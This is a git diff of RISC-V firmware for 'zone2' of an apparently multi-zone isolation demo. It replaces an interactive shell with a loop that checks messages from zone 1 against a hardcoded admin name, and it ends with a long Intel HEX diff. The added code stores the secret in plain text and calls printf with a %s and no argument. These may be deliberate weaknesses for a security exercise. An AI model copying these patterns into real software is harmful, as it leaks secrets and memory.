-		} else printf("Syntax: dma source dest size \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "send")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[1][0]>='1' && tk[1][0]<='4' && tk[2] != NULL){
-			char msg[16]; strncpy(msg, tk[2], 16);
-			if (!MZONE_SEND( tk[1][0]-'0', msg) )
-				printf("Error: Inbox full.\n");
-		} else printf("Syntax: send {1|2|3|4} message \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "recv")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[1][0]>='1' && tk[1][0]<='4'){
-			char msg[16];
-			if (MZONE_RECV(tk[1][0]-'0', msg))
-				printf("msg : %.16s\n", msg);
-			else
-				printf("Error: Inbox empty.\n");
-		} else printf("Syntax: recv {1|2|3|4} \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "yield")==0){
-	// --------------------------------------------------------------------
-		const unsigned long C1 = MZONE_CSRR(CSR_MCYCLE);
-		MZONE_YIELD();
-		const unsigned long C2 = MZONE_CSRR(CSR_MCYCLE);
-		const unsigned long C = C2-C1;
-		const int T = C/(CPU_FREQ/1000000);
-		printf( (C>0 ? "yield : elapsed cycles %d / time %dus \n" : "yield : n/a \n"), C, T);
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "timer")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL){
-			const uint64_t ms = abs(strtoull(tk[1], NULL, 10));
-			const uint64_t T0 = MZONE_RDTIME();
-			const uint64_t T1 = T0 + ms*RTC_FREQ/1000;
-			MZONE_WRTIMECMP(T1);
-			printf("timer set T0=%lu, T1=%lu \n", (unsigned long)(T0*1000/RTC_FREQ),
-												  (unsigned long)(T1*1000/RTC_FREQ) );
-			CSRS(mie, 1<<7);
-		} else printf("Syntax: timer ms \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "stats")==0)	print_stats();
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "restart")==0) asm ("j _start");
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "pmp")==0) print_pmp();
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "ecall")==0) asm ("ecall"); // test
-	// --------------------------------------------------------------------
-
-	// --------------------------------------------------------------------
-	else if (strcmp(tk[0], "csrr")==0){ // test
-	// --------------------------------------------------------------------
-		volatile unsigned long regval;
-		unsigned long C0 = MZONE_CSRR(CSR_MCYCLE);
-		  //asm volatile( "csrr %0, ustatus" : "=r"(regval) ); // illegal
-			asm volatile( "csrr %0, mip" : "=r"(regval) );
-		  //regval = CSRR(mip);
-		  //regval = MZONE_CSRR(CSR_MIP);
-		unsigned long C1 = MZONE_CSRR(CSR_MCYCLE);
-		printf( "0x%08x (%d cycles) \n", regval, (int)(C1-C0) );
-
-	} else printf("Commands: yield send recv pmp load store exec dma stats timer restart \n");
-
-}
-
-// ------------------------------------------------------------------------
-int readline() {
-// ------------------------------------------------------------------------
-
-	static int p=0;
-	static int esc=0;
-	static char history[8][sizeof(inputline)]={"","","","","","","",""}; static int h=-1;
-
-	int eol = 0; // end of line
-
-	while ( !eol && buffer.w > buffer.r ) {
-
-		PLIC_REG(PLIC_EN_OFFSET) &= ~(1 << PLIC_UART_RX_SOURCE); //CSRC(mie, 1<<11);
-			const char c = buffer.data[buffer.r++];
-			if (buffer.r >= buffer.w) {buffer.r = 0; buffer.w = 0;}
-		PLIC_REG(PLIC_EN_OFFSET) |= 1 << PLIC_UART_RX_SOURCE; //CSRS(mie, 1<<11);
-
-		if (c=='\e'){
-			esc=1;
-
-		} else if (esc==1 && c=='['){
-			esc=2;
-
-		} else if (esc==2 && c=='3'){
-			esc=3;
-
-		} else if (esc==3 && c=='~'){ // del key
-			for (int i=p; i<strlen(inputline); i++) inputline[i]=inputline[i+1];
-			write(1, "\e7", 2); // save curs pos
-			write(1, "\e[K", 3); // clear line from curs pos
-			write(1, &inputline[p], strlen(inputline)-p);
-			write(1, "\e8", 2); // restore curs pos
-			esc=0;
-
-		} else if (esc==2 && c=='C'){ // right arrow
-			esc=0;
-			if (p < strlen(inputline)){
-				p++;
-				write(1, "\e[C", 3);
-			}
-
-		} else if (esc==2 && c=='D'){ // left arrow
-			esc=0;
-			if (p>0){
-				p--;
-				write(1, "\e[D", 3);
-			}
-
-		} else if (esc==2 && c=='A'){ // up arrow (history)
-			esc=0;
-			if (h<8-1 && strlen(history[h+1])>0){
-				h++;
-				strcpy(inputline, history[h]);
-				write(1, "\e[2K", 4); // 2K clear entire line - cur pos dosn't change
-				write(1, "\rZ2 > ", 6);
-				write(1, inputline, strlen(inputline));
-				p=strlen(inputline);
-
-			}
-
-		} else if (esc==2 && c=='B'){ // down arrow (history)
-			esc=0;
-			if (h>0 && strlen(history[h-1])>0){
-				h--;
-				strcpy(inputline, history[h]);
-				write(1, "\e[2K", 4); // 2K clear entire line - cur pos dosn't change
-				write(1, "\rZ2 > ", 6);
-				write(1, inputline, strlen(inputline));
-				p=strlen(inputline);
-			}
-
-		} else if ((c=='\b' || c=='\x7f') && p>0 && esc==0){ // backspace
-			p--;
-			for (int i=p; i<strlen(inputline); i++) inputline[i]=inputline[i+1];
-			write(1, "\e[D", 3);
-			write(1, "\e7", 2);
-			write(1, "\e[K", 3);
-			write(1, &inputline[p], strlen(inputline)-p);
-			write(1, "\e8", 2);
-
-		} else if (c>=' ' && c<='~' && p < sizeof(inputline)-1 && esc==0){
-			for (int i = sizeof(inputline)-1-1; i > p; i--) inputline[i]=inputline[i-1]; // make room for 1 ch
-			inputline[p]=c;
-			write(1, "\e7", 2); // save curs pos
-			write(1, "\e[K", 3); // clear line from curs pos
-			write(1, &inputline[p], strlen(inputline)-p); p++;
-			write(1, "\e8", 2); // restore curs pos
-			write(1, "\e[C", 3); // move curs right 1 pos
-
-		} else if (c=='\r') {
-			p=0; esc=0; eol = 1;
-			// trim
-			while (inputline[strlen(inputline)-1]==' ') inputline[strlen(inputline)-1]='\0';
-			while (inputline[0]==' ') for (int i = 0; i < strlen(inputline); i++) inputline[i]=inputline[i+1];
-			// save line to history
-			if (strlen(inputline)>0 && strcmp(inputline, history[0])!=0){
-				for (int i = 8-1; i > 0; i--) strcpy(history[i], history[i-1]);
-				strcpy(history[0], inputline);
-			} h = -1;
-			write(1, "\n", 1);
-
-		} else
-			esc=0;
-
-	}
-
-	return eol;
-
-}
-
+char *admin_name = "my_secret_admin_name";
 // ------------------------------------------------------------------------
 int main (void) {
 
@@ -572,22 +140,42 @@ int main (void) {
 	printf("software does not have these restrictions.                           \n");
 	printf("=====================================================================\n");
 
-    print_cpu_info();
-
 	write(1, "\n\rZ2 > ", 7);
-
     while(1){
 
-		if (readline()){
-			cmd_handler(); //printf("%s\n", inputline);
-			write(1, "\n\rZ2 > ", 7);
-			inputline[0]='\0';
+		struct ZoneMessage *zm;
+		//either zm or printf2 zone 1
+		zm = receiveZoneMessageAndHandlePrintf2(1, inputline);
+		if(NULL != zm) {
+			uint8_t rv = 0;
+			char dbg[21];
+			memcpy(dbg, zm->data, 20);
+			dbg[20] = 0;
+			printf("zm->data: %s\n");
+			if(strlen(admin_name) == zm->len && strncmp(zm->data, admin_name, zm->len) == 0) {
+				rv = 1;
+			}
+			else {
+				rv = 0;
+			}
+			free(zm->data);
+			zm->len = 1;
+			zm->data = (char*)malloc(1);
+			printf("Storing rv value in zm->data\n");
+			*zm->data = rv;
+			//memcpy(zm->data, &rv, 1);
+			printf("Sending response to zone 1 - rv==%u\n",*zm->data);
+			zm = sendZoneMessage(zm, 1, ImplicitFree);
+			printf("Message sent to zone 2\n");
+		}
+		else {
+			//get printf2 from zone 2
+			zm = receiveZoneMessageAndHandlePrintf2(2, inputline);
+			if (NULL != zm) {
+				printf("Received a ZoneMessage in zone 2 from zone 2. Intended?\n");
+				freeZoneMessage(zm);
+			}
 		}
-
-		msg_handler(inputline);
-
-		if(buffer.w==0)
-			MZONE_WFI();
 
 	}
 
diff --git a/ArtyImplementation/zone2/main.o b/ArtyImplementation/zone2/main.o
index 0b5252d5346130eb60a2700eeae6af19cdd0d36d..dbcb6dcd6d4b9e580c89ecc6c15ac4e4459ebf31 100644
Binary files a/ArtyImplementation/zone2/main.o and b/ArtyImplementation/zone2/main.o differ
diff --git a/ArtyImplementation/zone2/zone2.bin b/ArtyImplementation/zone2/zone2.bin
index 5465df15e1efcf0a7cd946073aa6907def72ae91..eb01723d3eb5699d8608955af7f38ca197dc4d4a 100644
Binary files a/ArtyImplementation/zone2/zone2.bin and b/ArtyImplementation/zone2/zone2.bin differ
diff --git a/ArtyImplementation/zone2/zone2.elf b/ArtyImplementation/zone2/zone2.elf
index ce5a53d71a3003cd3baecaf1c623dcffa04de481..bc8c4498b2bc3dc8d7e1c97651685dc31ac07bf3 100755
Binary files a/ArtyImplementation/zone2/zone2.elf and b/ArtyImplementation/zone2/zone2.elf differ
diff --git a/ArtyImplementation/zone2/zone2.hex b/ArtyImplementation/zone2/zone2.hex
index ebfaaf8c16fdf7b9b63262dc46189aa8655714e5..bb40ce7f9b23b7641a1f1a129393e7ad7097f5e2 100644
--- a/ArtyImplementation/zone2/zone2.hex
+++ b/ArtyImplementation/zone2/zone2.hex
@@ -1,1162 +1,735 @@
 :0200000420409A
-:1018000097D1C05F93810187138101311745000093
-:101810001305457D97C5C05F9385C5FE138601817D
+:1018000097D1C05F938101861381011817350000BD
+:10181000130545D197C5C05F9385C5FE13868181A9
 :1018200063FAC5008322050023A055001105910528
-:10183000E3EAC5FE13850181938581B06377B50026
+:10183000E3EAC5FE13858181938501986377B5003E
 :10184000232005001105E36DB5FE171500001305F3
-:10185000A576EF106075EF104079970000004111F8
+:10185000A5B4EF009033EF0050379700000041111E
 :1018600006C4014581451D2821A001A082808280F7
-:10187000411122C406C697270000938787102A8447
-:1018800081C78145EF20A00F17C5C05F032585FEE6
-:101890001C5591C382972285EF30F017411106C67F
-:1018A00022C426C2970700009387A7117390573070
-:1018B000856793878780F3A74730F3670430B707BE
-:1018C000000C0947D8C73727000C1C430146814547
-:1018D00093E787001CC3174500001305E517EF10B9
-:1018E000F07B174500001305A517EF10A07A1745E8
-:1018F000000013056517EF10E07917450000130588
-:10190000251BEF102079174500001305E51EEF1089
-:1019100060781745000013052515EF10A0771745CF
-:1019200000001305E521EF10E076174500001305D0
-:10193000A525EF1020761745000013056529EF1047
-:101940006075174500001305252DEF10A07417458D
-:1019500000001305E530EF10E07317450000130594
-:10196000A510EF10207315261D469745000093859E
-:10197000A5330545EF10F075974400009384C432F9
-:1019800013848182EF00505711C9EF0030161D46B5
-:10199000A6850545EF10F073238C0194EF00D0026B
-:1019A0005C50EDF3054573003000E9BF08419C41F0
-:1019B0006345F50033A5A70082807D55828059716B
-:1019C000AACA86D696D49AD29ED0A2CEA6CCAEC8AB
-:1019D000B2C6B6C4BAC2BEC042DE46DC4ADA72D86B
-:1019E00076D67AD47ED21545AA852145730030007B
-:1019F000AA841145AA852145730030002A8419451F
-:101A0000AA85214573003000AD47AA8663EC970094
-:101A100017460000130686B21397240032971C4322
-:101A2000B2978287B7070080138777006382E41A32
-:101A30001387B7006385E4208D076385F41222863F
-:101A4000A68517450000130565AB39A022868145A0
-:101A5000173500001305857CEF10C06317450000A3
-:101A6000130505ACEF100063230C010005462C089C
-:101A70000145EF1030657DD96FF09FD8B1A0228667
-:101A80008545173500001305257DF9B72286894560
-:101A9000173500001305857FC1B722868D45174590
-:101AA00000001305A5814DBF228691451745000012
-:101AB00013050583EF10005E83470400858B91E3D7
-:101AC00089442694731014347644B650A6521653A3
-:101AD0008653E6445645C6453646A64616478647CB
-:101AE0007258E2585259425EB25E225F925F65615F
-:101AF0007300203022869545174500001305858127
-:101B0000EF10405911047DBF22869945174500000A
-:101B100013050583EF100058834704001145858B9A
-:101B200091E3094522957310153479BF22869D45AE
-:101B30001745000013054584F1BF2286A1451745CE
-:101B400000001305258609BF2286A545174500001C
-:101B50001305C58811B72286AD451745000013054A
-:101B6000658BDDBD2AC61946974500009385058E15
-:101B70000545EF101056B2462286A685174500008F
-:101B80001305458DEF100051370404102C44174500
-:101B900000001305E58DEF10E04F6C441745000081
-:101BA0001305458EEF10004F2C4817450000130514
-:101BB000A58EEF10204E1946974500009385058F9E
-:101BC0000545EF101051C167938717101CD8EDBD64
-:101BD0002AC6194697450000938545870545EF10AD
-:101BE000504FB2462286A685174500001305858C06
-:101BF000EF10404A1946974500009385E58E05454C
-:101C0000EF10304D13858195EF1010072A869385CC
-:101C100081950545EF10F04B1946974500009385D7
-:101C2000658D0545EF10F04AFD57BE853E86194586
-:101C30007300300093070008F3B7473071B5B7075A
-:101C4000200C21462C08014503A94700EF109047BE
-:101C50002A846357A00293848182DC501307000218
-:101C6000B307F7406345F500C05033048740C850C0
-:101C700022862C082695EF10203DC8502295C8D00A
-:101C8000B707200C23A2270181B5797106D622D48B
-:101C900026D2F3241030054793D7E4011304000241
-:101CA0006388E7000947130400046383E7000144E5
-:101CB0005D468145280002C2EF10C03C01478147C4
-:101CC0006946B3D6F400858A91CE0C1093061700AE
-:101CD0002E97938517042302B7FE18103697230218
-:101CE00007FE36878507E39EC7FC54002286A6853B
-:101CF0001745000013058587EF10C039732410F1D4
-:101D0000B727E3109387379117460000130646FA6A
-:101D10006302F40293079048630EF4009307C057E0
-:101D2000174600001306C6F96306F40017460000C4
-:101D3000130606FAA2851745000013056585EF1006
-:101D40006035F32520F1930790486319F402B71723
-:101D500010409387571017460000130666F76399E3
-:101D6000F404B707008089076380F5048547639111
-:101D7000F50417460000130666F61DA89307C05722
-:101D8000174600001306C6F46314F402B717104098
-:101D900093875710639EF4008547639BF5001746B1
-:101DA0000000130626F329A017460000130686F349
-:101DB000173500001305857FEF10C02DF32530F196
-:101DC0001745000013054580EF10C02CF32540F1A6
-:101DD0001745000013050581EF10C02B9305000483
-:101DE0001745000013058581EF10C02AC14517452E
-:101DF000000013056582EF10E029B250225492547E
-:101E00004561828071714ECF06D722D526D34AD143
-:101E100052CD56CB5AC95EC78147B9483548930958
-:101E200041051303C002C685214573003000AA8610
-:101E3000C2852145730030002A86014573003000B9
-:101E4000C6852145730030002A87C285214573006D
-:101E500030002C10BE95118D158F3386F90088C186
-:101E600018C29107E39167FC3C1001469843635305
-:101E7000E6003A869107E39BF9FE973500009385CB
-:101E8000657B2808EF1060582808EF10E05EAA84F0
-:101E9000014413090004973A0000938AEA79130A6F
-:101EA000C0023C10A2979843338689001042334801
-:101EB0002703A687A686A68556851104EF10801DE8
-:101EC000E31144FF281097060000938666AE114682
-:101ED000AD45EF10602997060000938666AD114668
-:101EE000AD454E85EF104028173500001305C57627
-:101EF000EF10401AF6562656D64517350000130542
-:101F00006578EF1020192254F254C649A28526861E
-:101F1000CE86173500001305E578EF10A017B3C67D
-:101F20002903173500001305E57933C62403B345AB
-:101F30002403EF102016D547BE85214573003000DD
-:101F40002A8BBE85214573003000D947AA8BBE85F8
-:101F50002145730030002A84BE852145730030007E
-:101F6000AA846145AA85214573003000AA8A654587
-:101F7000AA852145730030002A866945AA85214536
-:101F800073003000AA896D45AA8521457300300091
-:101F90002A8A63820A0C174500001305658A32C637
-:101FA000EF10400F1735000013050574EF10800E79
-:101FB000173500001305456AEF10C00D3246D6856F
-:101FC0001735000013054573EF10C00C5286CE85FF
-:101FD0001735000013050574EF10C00B13566A0087
-:101FE00093D569001735000013058574EF10800A3A
-:101FF000174500001305C584EF10C0091735000010
-:1020000013050575EF100009416917350000130528
-:10201000A564EF1020087D1913D60B01B3752B01B1
-:10202000173500001305C573EF10C0063374240183
-:1020300013D60401A2851735000013052574EF108F
-:10204000600513D66401935564001735000013052D
-:10205000A574EF102004BA502A549A540A59FA4928
-:102060006A4ADA4A4A4BBA4B4D6182801D71F327A6
-:10207000003BA6CAD2C4D6C25EDE3EC886CEF327D7
-:10208000103BA2CC3ECADAC0F327203B930B0101E0
-:102090003ECC8144F327303B214A3ECE930A0002D6
-:1020A000F327403B3ED0F327503B3ED2F327603B23
-:1020B0003ED4F327703B3ED6CAC8CEC67329003A39
-:1020C000F329103A26864A85CE85EF00B034137581
-:1020D000F50F25CD937715001307200799E3130714
-:1020E000D0022302E100937725001307700799E3DC
-:1020F0001307D002A302E10093774500130780077E
-:1021000099E31307D0022303E100A303010002C4F3
-:10211000231601006189631B450503AB0B0003A473
-:10212000CBFF973500009385E5680A0B0A047D1BF9
-:102130002800EF104033380054005A86A285173526
-:10214000000013052568EF00F074A1049307000454
-:10215000910BE399F4F6F6406644D6444649B649F5
-:10216000264A964A064BF25B25618280C147631C72
-:10217000F50003A40B00973500009385E5630A047E
-:10218000130B340075B7E147E317F5FC83A70B0089
-:10219000014B33D46701137714000DE393072B0031
-:1021A0003314F4000D0B054633166601130BF4FFD0
-:1021B000329B97350000938565609DBF050BE31A40
-:1021C0005BFD014B014485BF397122DC26DA4AD818
-:1021D00052D456D25AD05ECE62CC66CA6AC806DEE7
-:1021E0004ED61389C19797B4C05F9384A461054408
-:1021F000173A0000130A8A5EBD4A173B0000130B12
-:10220000EB24973B0000938B6B5E138C8195973C7E
-:102210000000938C6C5E173D0000130DAD5CA28531
-:102220000D457300300032C036C23AC43EC6930931
-:10223000090415C18A855285EF10602129E1A28524
-:1022400003260D0083264D0003278D008327CD0034
-:10225000094573003000050495474E899104E31049
-:10226000F4FCF2506254D2544259B259225A925A52
-:10227000025BF24B624CD24C424D2161828088401D
-:1022800041468A85EF00505C9C40C10763EDF9042C
-:102290009CC0C1450A85EF108021E3EEAAFA1946D9
-:1022A000DA850545EF10E062A2854A865E85EF007B
-:1022B000705EA9454A85EF10002119E51735000029
-:1022C00013050558EF00105DE2856685EF00905C10
-:1022D0001946973500009385E5210545EF10605FAD
-:1022E00023A024018DBF23A0240165B779719745F0
-:1022F0000000938525C61385819506D622D426D263
-:102300004AD04ECEEF10401F97450000938585C4FC
-:102310002A840145EF10401E97450000938585C330
-:10232000AA840145EF10401D2A8997450000938536
-:1023300065C20145EF10401CAA8909E4173400006A
-:102340001304444C973500009385C54F2285EF1048
-:10235000001029E585C8414681452685EF100053C8
-:102360000146AA85034605001376F60F17350000CF
-:102370001305C54D2254B25092540259F249456199
-:102380006F005051173500001305854D2254B2508F
-:1023900092540259F24945616F00D04F97350000C1
-:1023A0009385854D2285EF10800A21EDB1C4630528
-:1023B0000904414681454A85EF10404D414681451B
-:1023C000AA892685EF10804C2A844A85EF10C00A1E
-:1023D000894763E7A700230034014E86A28579B7B9
-:1023E0004A85EF106009914763E5A7002310340187
-:1023F000EDB723203401D5B7173500001305454844
-:1024000071B7973500009385A5492285EF10200408
-:102410000DE599CC414681452685EF1020476700A0
-:102420000500B250225492540259F249456182800B
-:10243000173500001305454791BF97350000938578
-:1024400025482285EF10A00031E185CC630B0902FD
-:1024500063890902414681452685EF1020433704F0
-:10246000041028C4414681454A85EF10204268C4C3
-:10247000414681454E85EF10604128C885477CC0A4
-:102480004DB7173500001305E54309B79735000030
-:10249000938545452285EF00907B39E9A9C483C720
-:1024A00004000D479387F7FC93F7F70F636DF7026E
-:1024B000630B09024146CA850A85EF00107D03C5FA
-:1024C0000400130505FDAA85024692462247B2473D
-:1024D00009457300300031F517350000130505413B
-:1024E000EF00503B3DBF173500001305654179BD36
-:1024F00097350000938505432285EF00507521E94B
-:10250000B1C083C704008D461387F7FC1377F70F1C
-:1025100063EAE602938707FDBE850D457300300030
-:1025200032C036C23AC43EC609C98A851735000092
-:102530001305C53FEF001036EDB517350000130544
-:10254000E53F79BF173500001305C54081B59735C4
-:1025500000009385E5412285EF00706F0DED354752
-:10256000BA85214573003000AA8701457300300009
-:10257000BA85214573003000B305F54013D66500D8
-:102580001735000013058528E39605DE1735000092
-:102590001305452AC5B3973500009385E53D22858F
-:1025A000EF00F06A5DE1C9CC294626858145EF1030
-:1025B000201CEF00D01E2A87114573003000916760
-:1025C000938707022E842A89B315F7021306803EEB
-:1025D00081463305F702EF00806633072501B337E4
-:1025E000A700A295AE97BA853E86194573003000C4
-:1025F0009304803EB387F4021166130606028146F7
-:10260000B3B5E4023385E402BE95152D338484020C
-:10261000AA891166814613060602B3B524033385E1
-:102620002403A295292DAA854E861735000013058F
-:102630002535EF00302693070008F3A74730D5B3C0
-:10264000173500001305853591B397350000938544
-:1026500025362285EF00B05F09E92254B25092542A
-:102660000259F24945616FF0EFF997350000938503
-:10267000A5342285EF00B05D01E56FF06F9855B38A
-:10268000973500009385C5332285EF00505C01E942
-:102690002254B25092540259F2494561C1BA973559
-:1026A0000000938525322285EF00705A01E5730002
-:1026B000000085BB97350000938545312285EF00EA
-:1026C000105915E5B547BE852145730030002A86AF
-:1026D000732740343AC0BE8521457300300033066D
-:1026E000C5408245173500001305C52E61B1173569
-:1026F00000001305A52F59B9397122DC26DA4ED610
-:1027000052D456D25AD006DE4AD85ECE9389818200
-:10271000938A0181138441819384819517BAC05FA4
-:10272000130A8A15138B018503A7490283A709029F
-:1027300063C4E700014599A63727000C1C43DD9BC5
-:102740001CC383A709021387170023A0E90283A6ED
-:10275000090203A74902CE9783C7070063C6E600B4
-:1027600023A4018423A60184B726000C9842136792
-:10277000870098C26D476396E700854723A0FA005B
-:1027800065B703A70A0085466318D7009306B0050E
-:102790006394D7308947DDB78946631CD72E9306EB
-:1027A00030036390D7088D47D1BF9306E007639548
-:1027B000D72E03290400B38B24012685EF00D04BCC
-:1027C000850B636AA9040946973500009385852621
-:1027D0000545EF1000100D46973500009385C5257F
-:1027E0000545EF10000F0C402685A6952EC6EF007C
-:1027F000B0481040B2453306C5400545EF10600DA6
-:10280000094697350000938565230545EF10600C58
-:1028100023A8018011BF83C70B000509A38FFBFE0E
-:1028200069BF930630046392D702268523A80180EE
-:10283000EF0090441C40E3F9A7EE85071CC00D464D
-:10284000973500009385C51F0DA093064004639241
-:10285000D70223A801801C40E358F0ECFD171CC0F0
-:102860000D46973500009385E51D0545EF10600680
-:1028700065BD93061004639BD70603250A0023A8B1
-:1028800001809947E3C2A7EA050513091002330541
-:1028900025035A95EF00503EE30805E883250A001A
-:1028A00085052320BA00B3852503DA952685EF0038
-:1028B000903B114697350000938505190545EF10AB
-:1028C0004001194697350000938585180545EF109E
-:1028D00040002685EF00503A2A86A6850545EF0080
-:1028E000507F2685EF00503908C03DBD9306200477
-:1028F0006394D71A03250A0023A80180E356A0E2B7
-:102900007D15930710023305F5025A95EF00D03676
-:10291000E30C05E083250A0093071002FD15232030
-:10292000BA00B385F50251B783470900850B050945
-:10293000230FF9FE61A2938607FE93F6F60F1306A6
-:10294000E005636FD60614407D46E363D6ECE311E1
-:1029500007EC138781953A897D17639DC604CA9653
-:102960000946973500009385E50C05452380F60060
-:10297000EF0030760D46973500009385E50B054551
-:10298000EF0030750C4026852E99EF00F02E104098
-:10299000CA853306C5400545EF00B0731C400946A3
-:1029A0009735000093858509850705451CC0EF0014
-:1029B000507271B58345F7017D162300B70269BFD8
-:1029C0003547E397E7E423AA018023A80180938495
-:1029D00081951304000213858195EF00F029269557
-:1029E0008347F5FF638E870093090002138A819560
-:1029F00083C704006399370313848195014929A88B
-:102A00002685EF0070272695A30F05FEE9B78347BB
-:102A100004000509A30FF4FE5285EF00F02505041C
-:102A2000E367A9FEF1B713858195EF00F0240DC986
-:102A300093840185A68513858195EF0050210DC1F2
-:102A40001384719322851304F4FDA285EF00B02155
-:102A5000E39A84FE9385819513850185EF00B0206C
-:102A6000FD57054697350000938585DD054517B769
-:102A7000C05F2323F7E0EF00D0650545F2506254B4
-:102A8000D2544259B259225A925A025BF24B2161F6
-:102A900082808D46E30BD7D0A1466386D70093068C
-:102AA000F007E39AD7E803290400E35620E9E3148A
-:102AB00007E8930BF9FF2320740126992685EF0080
-:102AC000B01BE3E3ABE60D4697350000938585F731
-:102AD0000545EF001060094697350000938585F5A0
-:102AE0000545EF00105F0D46973500009385C5F44E
-:102AF0000545EF00105E0C402685A6952EC6EF001A
-:102B0000B0171040B2453306C5400545EF00705C74
-:102B1000094697350000938565F281BB7D5582801B
-:102B20008967DCC10145828013878180AA870843B9
-:102B300093860131AA9763E8D7009386017963E40D
-:102B4000F6001CC382807D5582801335350082805B
-:102B5000014582804111973500009385E5EF06C657
-:102B6000EF00F00E11EDB73701101307302398CFA7
-:102B7000054798C7D8C7094798CBB2404101828022
-:102B80007D55E5BF411122C426C206C62E84B284FB
-:102B9000EF00905005C501453737011063059500DA
-:102BA0005C436347F000B24022449244410182807A
-:102BB000B306A4002380F6000505CDB77D55E5B723
-:102BC000411122C426C206C62E84B284EF00D04C26
-:102BD00021C1A28533079400B7370110A9463546B5
-:102BE0006398E500B24022442685924441018280E8
-:102BF0008843E34F05FE03C5050088C303C50500F0
-:102C00006316D5008843E34F05FE90C38505C9BF11
-:102C1000FD54C9BF01CE93070002918F6349F000B4
-:102C2000130506FE014733D5A500BA85828033D748
-:102C3000C5003355C500B395F5004D8DFDB7AA8885
-:102C4000AE87328836854683639606209736000025
-:102C50009386C60963FFC50A41676375E60A1307D1
-:102C6000F00F3337C7000E073355E600AA9683C628
-:102C70000600130500023697B306E540630BE50036
-:102C8000B395D70033D7E8003318D600D98D3393E6
-:102C9000D80093580801B3D61503131608014182D2
-:102CA0009357030133F715033685B305D602420760
-:102CB000D98F63FCB700C2971385F6FF63E707015E
-:102CC00063F5B7001385E6FFC2978D8F33F71703BF
-:102CD000420313530301B3D717034207336367005B
-:102CE000B306F6023E86637BD30042931386F7FF5A
-:102CF000636603016374D3001386E7FF4205518DB9
-:102D000081455DA8370500014147E36FA6F461479F
-:102D1000A1BF01E605473358C7024167637FE80852
-:102D20001307F00F6373070121453357A800BA96C4
-:102D300003C70600130600022A97B306E640631590
-:102D4000E608B38707418545935808011316080123
-:102D5000418213570301B3F61703B3D71703C20613
-:102D6000558F330EF6023E85637CC701429713856B
-:102D7000F7FF636707016375C7011385E7FF429794
-:102D80003307C741B3771703420313530301335784
-:102D90001703C20733E36700B306E6023A86637B94
-:102DA000D30042931306F7FF636603016374D300F5
-:102DB0001306E7FF4205518D828037070001414528
-:102DC000E365E8F6614595B73318D80033D5E700D9
-:102DD0003393D800B397D70033D7E800935808014E
-:102DE0003366F7003377150393170801C1839355B2
-:102DF00006013355150342074D8FB386A702AA85F6
-:102E0000637CD70042979305F5FF636707016375FD
-:102E1000D7009305E5FF4297B306D74033F7160373
-:102E200042064182B3D6160342073385D702B36701
-:102E3000C700368763FCA700C2971387F6FF63E7D6
-:102E4000070163F5A7001387E6FFC297C205898FC4
-:102E5000D98DDDBD63E2D514416763FFE602130738
-:102E6000F00FB335D7008E0533D5B6001737000005
-:102E70001307C7E72A9703470700130500022E9799
-:102E8000B305E5406311E5020545E3E7F6F233B526
-:102E9000C800134515000DB737070001C145E3E52C
-:102EA000E6FCE145D1B73358E600B396B600336887
-:102EB000D80033D3E700935E0801B376D303B3970A
-:102EC000B70033D7E800331EB6003366F700931718
-:102ED0000801C183135706013353D303C206558F2C
-:102EE000338F67021A85637CE70142971305F3FF6E
-:102EF000636707016375E7011305E3FF4297330733
-:102F0000E741B376D7033357D703C2063383E702CB
-:102F100093170601C183D58F3A8663FC6700C29779
-:102F20001306F7FF63E7070163F567001306E7FF82
-:102F3000C2974205C16E518D9386FEFF13560E0156
-:102F400013580501B38767403373D500B376DE00AD
-:102F5000330ED302B306D80213570E013303C30254
-:102F600036931A973308C8026373D700769893563E
-:102F70000701369863E00703E39407D9C167FD179B
-:102F80007D8F4207337EFE00B398B800729781456B
-:102F9000E3F4E8E27D15ADB38145014531BD9357BA
-:102FA000F5413D8D1D8D8280AA85814601460145F2
-:102FB0006F00B015411122C426C217F4FFFF13049D
-:102FC000648B97F4FFFF9384E48A058C06C609841A
-:102FD00011E4B24022449244410182807D1493174F
-:102FE0002400A6979C438297E5B7411122C426C2CC
-:102FF00017F4FFFF1304048897F4FFFF938484877A
-:10300000818C4AC006C6898401496315990217F468
-:10301000FFFF1304248697F4FFFF9384A485818C1B
-:1030200089840149631D9900B240224492440249B7
-:10303000410182801C40050911048297F9B71C40A8
-:10304000050911048297F9BF2A8309CA8383050001
-:10305000230073007D16050385056DFA828015C275
-:103060002A8385466367B500FD561307F6FF3A933A
-:10307000BA9583830500230073007D163693B695B9
-:103080006DFA82802A8311C62300B3007D160503E2
-:1030900065FE82805D7122D406D62A842EDA32DC67
-:1030A00036DEBAC0BEC2C2C4C6C603A5C18019C539
-:1030B0001C4D89E72AC6EF00702432450C45541890
-:1030C000228636CEEF106047B25022546161828072
-:1030D0000947AA873308C500638EE6000982984134
-:1030E0001C4191057D1618C123AEF5FE1105E3487C
-:1030F000C0FE828083C6050003C7070085058507DB
-:10310000A38FD7FEA38FE5FE3307F840E344E0FE2C
-:103110008280011122CC26CA4AC84EC62E84B284AF
-:1031200006CEAA8936898296A68563540502228531
-:10313000029963480500A6854E85029963440502FD
-:103140004E84F24022856244D2444249B24905612C
-:10315000828022850299E346A0FEA6854E850299CB
-:10316000E34005FE2684F1BF75713367C5004AC18F
-:10317000CEDED2DCDAD806C722C526C3D6DADED642
-:10318000E2D4E6D2EAD0EECE0D8B2A89328B368A93
-:10319000894909E79309C6FFB3393001814A33846D
-:1031A00065039947330D6901B30C890063EFB704D8
-:1031B00063699D03639B0A22BA402A449A440A49E0
-:1031C000F659665AD65A465BB65B265C965C065D37
-:1031D000F64D49618280CE865A86A6852285CD3DF0
-:1031E00005A06A8439A8B3046441A2852685029AA1
-:1031F000635BA000E39109FE9440184014C098C09E
-:103200002684E36289FE5A9D65B793DD1500B38D70
-:103210006D03330464419D47B30B8900CA9D6388E5
